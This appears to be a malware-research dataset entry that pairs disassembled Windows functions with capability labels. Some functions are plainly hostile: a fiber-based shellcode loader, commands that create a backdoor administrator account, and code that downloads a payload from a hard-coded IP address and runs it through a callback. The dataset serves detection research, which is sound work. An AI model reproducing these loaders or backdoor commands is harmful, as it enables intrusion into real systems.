joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435490
Capabilities:
Get file attributes

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x20], rcx
mov byte [rbp + 0x2f], dl
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x48], 0
nop
mov rcx, qword [rbp + 0x20]
call fcn.00411090
mov rcx, rax
call sub.kernel32.dll_GetFileAttributesW
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x28]
test eax, 0x400
je 0x435543
movzx rax, byte [rbp + 0x2f]
test al, al
je 0x435543
or eax, 0xffffffff
mov dword [rbp + 0x28], eax
mov rcx, qword [rbp + 0x20]
lea rdx, [rbp + 0x48]
call fcn.004329e0
test al, al
je 0x435543
mov rcx, qword [rbp + 0x48]
call fcn.00435be0
test al, al
je 0x43552f
lea rcx, [rbp + 0x30]
mov rdx, qword [rbp + 0x20]
call fcn.00435850
lea rcx, [rbp + 0x38]
mov rdx, qword [rbp + 0x30]
call fcn.00440300
lea rcx, [rbp + 0x48]
mov rdx, qword [rbp + 0x38]
mov r8, qword [rbp + 0x48]
call fcn.004114f0
mov rcx, qword [rbp + 0x48]
call fcn.00411090
mov rcx, rax
call sub.kernel32.dll_GetFileAttributesW
mov dword [rbp + 0x28], eax
nop
lea rcx, [rbp + 0x30]
mov edx, 2
call fcn.0040f4a0
lea rcx, [rbp + 0x48]
call fcn.0040f3c0
mov eax, dword [rbp + 0x28]
lea rsp, [rbp + 0x50]
pop rbp
ret

Function at 0x537cd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rbp, rsp
mov rsi, rcx
lea rdi, [rbp + 0x20]
movsq qword [rdi], qword [rsi]
movsq qword [rdi], qword [rsi]
cmp qword [0x009185a0], 0
jne 0x537d85
xor rcx, rcx
mov edx, 0x1000
mov r8d, 0x1000
mov r9d, 0x40
call sub.kernel32.dll_VirtualAlloc_1
mov rbx, rax
mov rax, qword [0x00918598]
mov qword [rbx], rax
lea rcx, [0x008cbd50]
lea rdx, [rbx + 8]
mov r8d, 8
call fcn.00408d60
lea rax, [0x00537c90]
mov qword [rbx + 0x10], rax
lea rsi, [rbx + 0x18]
mov byte [rsi], 0xe8
mov rcx, rsi
lea rdx, [rbx + 8]
call fcn.00537cc0
mov dword [rsi + 1], eax
mov rax, qword [0x009185a0]
mov qword [rsi + 5], rax
mov qword [0x009185a0], rsi
add rsi, 0x15
mov rax, rbx
neg rax
lea rax, [rsi + rax]
cmp rax, 0xfed
jl 0x537d43
mov qword [0x00918598], rbx
mov rax, qword [0x009185a0]
mov rsi, qword [0x009185a0]
mov rcx, qword [rsi + 5]
mov qword [0x009185a0], rcx
lea rdi, [rsi + 5]
lea rsi, [rbp + 0x20]
movsq qword [rdi], qword [rsi]
movsq qword [rdi], qword [rsi]
lea rsp, [rbp + 0x38]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x595540
Capabilities:
Encode data using xor

Disassembly:
mov r8, rcx
xor rax, rax
xor rcx, rcx
sub edx, 1
cmp ecx, edx
jg 0x595582
add edx, 1
mov r9d, eax
and r9w, 0xf800
movzx r9d, r9w
shr r9d, 0xb
shl eax, 5
or r9w, ax
mov eax, r9d
movzx r9w, byte [r8]
xor ax, r9w
add r8, 1
add ecx, 1
cmp ecx, edx
jne 0x595553
nop
ret
Function at 0x6be8c0
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push rbp
sub rsp, 0x510
mov rbp, rsp
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x58], rbp
mov qword [rbp + 0x520], rcx
nop
mov rax, qword [rbp + 0x520]
cmp qword [rax + 0x70], 0
jne 0x6bead9
mov rcx, qword [0x004e0508]
mov dl, 1
call fcn.00513780
mov rcx, qword [rbp + 0x520]
mov qword [rcx + 0x70], rax
mov rax, qword [rbp + 0x520]
lea rcx, [rax + 0x78]
call fcn.0040f3c0
mov ecx, 0x40
lea rdx, [rbp + 0x2f0]
call sub.user32.dll_GetKeyboardLayoutList
mov dword [rbp + 0x4fc], eax
xor rax, rax
mov ecx, dword [rbp + 0x4fc]
sub ecx, 1
mov dword [rbp + 0x3c], ecx
mov dword [rbp + 0x4f8], eax
mov eax, dword [rbp + 0x3c]
cmp dword [rbp + 0x4f8], eax
jg 0x6beab7
mov eax, dword [rbp + 0x3c]
add eax, 1
mov dword [rbp + 0x3c], eax
movsxd rax, dword [rbp + 0x4f8]
mov rcx, qword [rbp + rax*8 + 0x2f0]
call fcn.005ed220
test al, al
je 0x6beaa1
movsxd rax, dword [rbp + 0x4f8]
lea rax, [rbp + rax*8 + 0x2f0]
mov qword [rbp + 0x48], rax
mov byte [rbp + 0x50], ILClone
lea rcx, [rbp + 0x70]
lea rdx, [0x006beb64]
lea r8, [rbp + 0x48]
xor r9, r9
call fcn.004362b0
mov rcx, 0xffffffff80000002
mov rdx, rax
xor r8, r8
mov r9d, 0x20019
lea rax, [rbp + 0x508]
mov qword [rsp + 0x20], rax
call sub.advapi32.dll_RegOpenKeyExW_1
test eax, eax
jne 0x6beaa1
nop
mov dword [rbp + 0x4f4], 0x200
mov rcx, qword [rbp + 0x508]
lea rdx, [0x006bebd2]
xor r8, r8
xor r9, r9
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x4f4]
mov qword [rsp + 0x28], rax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x6bea94
lea rcx, [rbp + 0x40]
lea rdx, [rbp + 0xf0]
mov r8d, pe_nt_image_headers64
call fcn.00411190
mov rax, qword [rbp + 0x520]
mov rax, qword [rax + 0x70]
mov rcx, rax
mov rdx, qword [rbp + 0x40]
movsxd r8, dword [rbp + 0x4f8]
mov r8, qword [rbp + r8*8 + 0x2f0]
mov rax, qword [rax]
call qword [rax + 0x80]
movsxd rax, dword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x520]
mov rax, qword [rbp + rax*8 + 0x2f0]
cmp rax, qword [rcx + 0x80]
jne 0x6bea94
mov rax, qword [rbp + 0x520]
lea rcx, [rax + 0x78]
lea rdx, [rbp + 0xf0]
mov r8d, pe_nt_image_headers64
call fcn.00411190
nop
mov rcx, qword [rbp + 0x508]
call sub.advapi32.dll_RegCloseKey_1
add dword [rbp + 0x4f8], 1
mov eax, dword [rbp + 0x3c]
cmp dword [rbp + 0x4f8], eax
jne 0x6be95f
nop
mov rax, qword [rbp + 0x520]
mov rax, qword [rax + 0x70]
mov byte [rax + 0x61], 0
mov rax, qword [rbp + 0x520]
mov rcx, qword [rax + 0x70]
mov dl, 1
call fcn.00513630
mov rax, qword [rbp + 0x520]
mov rax, qword [rax + 0x70]
mov qword [rbp + 0x500], rax
nop
lea rcx, [rbp + 0x40]
call fcn.0040f3c0
mov rax, qword [rbp + 0x500]
lea rsp, [rbp + 0x510]
pop rbp
ret
Function at 0x6bfe60
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
mov rax, qword [0x00918b78]
cmp byte [rax + 0x141], 0
jne 0x6bff03
cmp qword [0x00918bb0], 0
jne 0x6bfea6
call sub.kernel32.dll_GetCurrentThreadId_1
mov ecx, 3
mov rdx, qword [0x008ee3f8]
xor r8, r8
mov r9d, eax
call sub.user32.dll_SetWindowsHookExW
mov qword [0x00918bb0], rax
cmp qword [0x00918ba8], 0
jne 0x6bfec8
xor rcx, rcx
xor rdx, rdx
xor r8, r8
xor r9, r9
call sub.kernel32.dll_CreateEventW
mov qword [0x00918ba8], rax
cmp qword [0x00918bb8], 0
jne 0x6bff03
xor rcx, rcx
mov edx, 0x3e8
mov r8, qword [0x008ee3f0]
xor r9, r9
mov dword [rsp + 0x20], 0
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
call sub.kernel32.dll_CreateThread_1
mov qword [0x00918bb8], rax
add rsp, 0x48
ret

Function at 0x6c13f0
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x50
mov rbp, rsp
mov rbx, rcx
cmp qword [rbx + 0x2b8], 0
je 0x6c14db
cmp dword [rbx + 0x110], 0
jne 0x6c14d1
mov rax, qword [rbx + 0x2b8]
mov qword [rbp + 0x40], rax
mov byte [rbp + 0x48], dl
lea rcx, [0x006c12d0]
lea rdx, [rbp + 0x40]
call sub.user32.dll_EnumWindows
mov rax, qword [rbx + 0x108]
cmp dword [rax + 0x10], 0
je 0x6c14d1
mov rcx, qword [rbp + 0x40]
mov edx, 3
call sub.user32.dll_GetWindow
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov ecx, 0xffffffec
mov edx, ecx
mov rcx, rax
call sub.user32.dll_GetWindowLongPtrW
test rax, 8
je 0x6c147f
mov qword [rbp + 0x40], 0xfffffffffffffffe
mov rax, qword [rbx + 0x108]
mov esi, dword [rax + 0x10]
sub esi, 1
test esi, esi
jl 0x6c14d0
mov rcx, qword [rbx + 0x108]
mov edx, esi
call fcn.0050c4a0
mov rcx, rax
mov rdx, qword [rbp + 0x40]
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0x213
call sub.user32.dll_SetWindowPos
sub esi, 1
cmp esi, 0xffffffff
jne 0x6c1490
nop
lea rax, [rbx + 0x110]
add dword [rax], 1
lea rsp, [rbp + 0x50]
pop rbx
pop rsi
pop rbp
ret
Function at 0x6c17f0
Capabilities:
Enumerate gui resources

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
mov esi, edx
mov rax, qword [0x00918b78]
cmp qword [rax + 0x2b8], 0
je 0x6c19b6
test sil, sil
jne 0x6c18d8
cmp dword [rbx + 0x120], 0
jne 0x6c18c9
mov rcx, rbx
call fcn.006c5fe0
lea rcx, [0x006c16c0]
mov rdx, rax
call sub.user32.dll_EnumWindows
cmp qword [rbx + 0x98], 0
je 0x6c188b
mov rax, qword [0x00918b78]
cmp byte [rax + 0x17b], 0
je 0x6c188b
mov rcx, qword [rbx + 0x188]
call fcn.00412bb0
mov rdi, rax
test edi, edi
jl 0x6c188a
mov rax, qword [rbx + 0x188]
movsxd rcx, edi
mov rcx, qword [rax + rcx*8]
xor rdx, rdx
call sub.user32.dll_ShowWindow
sub edi, 1
cmp edi, 0xffffffff
jne 0x6c186c
nop
mov rax, qword [rbx + 0x118]
mov edi, dword [rax + 0x10]
sub edi, 1
test edi, edi
jl 0x6c18c8
mov rcx, qword [rbx + 0x118]
mov edx, edi
call fcn.0050c4a0
mov rcx, rax
test sil, sil
setne al
movzx rax, al
neg eax
mov edx, eax
call sub.user32.dll_ShowOwnedPopups
sub edi, 1
cmp edi, 0xffffffff
jne 0x6c189c
nop
lea rax, [rbx + 0x120]
add dword [rax], 1
jmp 0x6c19b6
cmp dword [rbx + 0x120], 0
jle 0x6c19b6
lea rax, [rbx + 0x120]
sub dword [rax], 1
cmp dword [rbx + 0x120], 0
jne 0x6c19b6
cmp qword [rbx + 0x98], 0
je 0x6c194b
mov rax, qword [0x00918b78]
cmp byte [rax + 0x17b], 0
je 0x6c194b
mov rcx, qword [rbx + 0x188]
call fcn.00412bb0
mov rdi, rax
test edi, edi
jl 0x6c194a
mov rax, qword [rbx + 0x188]
movsxd rcx, edi
mov rcx, qword [rax + rcx*8]
mov edx, 5
call sub.user32.dll_ShowWindow
sub edi, 1
cmp edi, 0xffffffff
jne 0x6c1929
nop
mov rax, qword [rbx + 0x118]
mov edi, dword [rax + 0x10]
sub edi, 1
test edi, edi
jl 0x6c1988
mov rcx, qword [rbx + 0x118]
mov edx, edi
call fcn.0050c4a0
mov rcx, rax
test sil, sil
setne al
movzx rax, al
neg eax
mov edx, eax
call sub.user32.dll_ShowOwnedPopups
sub edi, 1
cmp edi, 0xffffffff
jne 0x6c195c
nop
mov rax, qword [rbx + 0x118]
mov rcx, rax
mov rsi, qword [rax]
call qword [rsi + ILClone]
lea rcx, [rbx + 0x188]
mov rdx, qword [0x006ab6b8]
mov r8d, 1
xor r9, r9
call fcn.00412f40
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x140001070
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea r8, [0x1400022a0]
lea rdx, str.loader.bin
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
je 0x1400010c3
lea rcx, str.Failed_to_open_file._n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400011c0
add rsp, 0x38
ret
mov rcx, qword [rsp + 0x20]
xor edx, edx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x30], rdi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, qword [rsp + 0x20]
xor r8d, r8d
xor edx, edx
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
mov rsi, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, qword [rsp + 0x20]
mov r8, rsi
mov rcx, rax
mov edx, 1
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140001184
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdi, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400011c0
add rsp, 0x38
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004440]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004450]
mov dword [rax], 1
mov rax, qword [0x140004460]
mov dword [rax], 1
mov rax, qword [0x1400043f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004430]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
lea rax, str.net_user_root1_Password123___add
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
lea rax, str.net_localgroup_administrators_root1__add
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140001750
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044d0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004044e0]
mov dword [rax], 1
mov rax, qword [0x004044f0]
mov dword [rax], 1
mov rax, qword [0x004044c0]
mov dword [rax], 1
mov rax, qword [0x00404380]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004044b0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404470]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404330]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.D:123.jpg
lea rdx, str.https:__www.qdtc.sd.cn_images_2.jpg
mov ecx, 0
call sym.URLDownloadToFileA
mov ebx, eax
test eax, eax
je 0x401591
test ebx, ebx
je 0x4015b2
mov eax, 0
add rsp, 0x30
pop rbx
ret
mov r9d, 0
lea r8, [0x00404034]
lea rdx, [0x00404036]
mov ecx, 0
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401582
mov r9d, 0
lea r8, [0x00404034]
lea rdx, str.
mov ecx, 0
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401586
Function at 0x4026e0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4026f0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402700
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402741
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402738
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402743
add rax, 0x28
cmp rax, r9
jne 0x402724
xor eax, eax
ret

Function at 0x4027e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404380]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40284d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40284d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40284d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402844
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40284f
add rax, 0x28
cmp rax, r9
jne 0x402830
xor eax, eax
add rsp, 0x28
ret

Function at 0x402950
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404380]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402970
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402968
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4029cd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4029c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4029d4
add rax, 0x28
cmp rax, r9
jne 0x4029b0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4029f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404380]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402a5e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a5e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402a5e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402a5e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402a55
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402a65
add rcx, 0x28
cmp rcx, rax
jne 0x402a40
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402a78
jmp 0x402a5e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402a86
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402a5e
test r9d, r9d
jg 0x402a70
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402c90
Capabilities:
Download url
Receive data

Disassembly:
sub rsp, 0x28
call sym.__main
mov rax, qword [0x004043f0]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x004043e0]
mov r8, qword [rax]
mov rax, qword [0x004043d0]
mov rcx, qword [rax]
add rsp, 0x28
jmp dbg.WinMain

Function at 0x402cd0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0xb0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea r8d, [rdi + 0x1e]
lea rdx, [0x14000b5b0]
lea rcx, [rsp + 0x30]
call fcn.140001540
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rdi
mov word [rsp + 0x58], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x58]
call fcn.140001540
nop
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], rdi
mov word [rsp + 0x80], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x80]
call fcn.140001540
nop
lea rbx, [rsp + 0x30]
cmp qword [rbx + 0x18], 8
jb 0x140001104
mov rcx, qword [rbx]
jmp 0x140001107
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000113b
inc edi
add rbx, 0x28
cmp edi, 3
jb 0x1400010f8
lea r9, [0x140001440]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.140001ff0
xor al, al
jmp 0x140001157
lea r9, [0x140001440]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.140001ff0
mov al, 1
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rdi
ret

Function at 0x140001300
Capabilities:
Allocate or change rwx memory
Download url
Execute shellcode via windows callback function
Get file size
Read file on windows
Receive data

Disassembly:
sub rsp, 0x58
call fcn.140001170
test al, al
je 0x140001435
lea r8, str.C:UsersPublic_bai.png
lea rdx, str.http:__8.134.168.128_77.png
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], 0
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001435
mov qword [rsp + 0x30], 0
lea rcx, str.C:UsersPublic_bai.png
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001430
mov qword [rsp + 0x68], rbp
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x50], rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov edi, eax
call fcn.140001ab8
lea r9, [rsp + 0x40]
mov r8d, edi
mov rcx, rbx
mov rdx, rax
mov qword [rsp + 0x20], 0
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001410
cmp dword [rsp + 0x40], edi
jne 0x140001410
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140001c70
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
jmp 0x140001419
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.140002050
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
xor eax, eax
add rsp, 0x58
ret

Function at 0x140002eb0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140002d20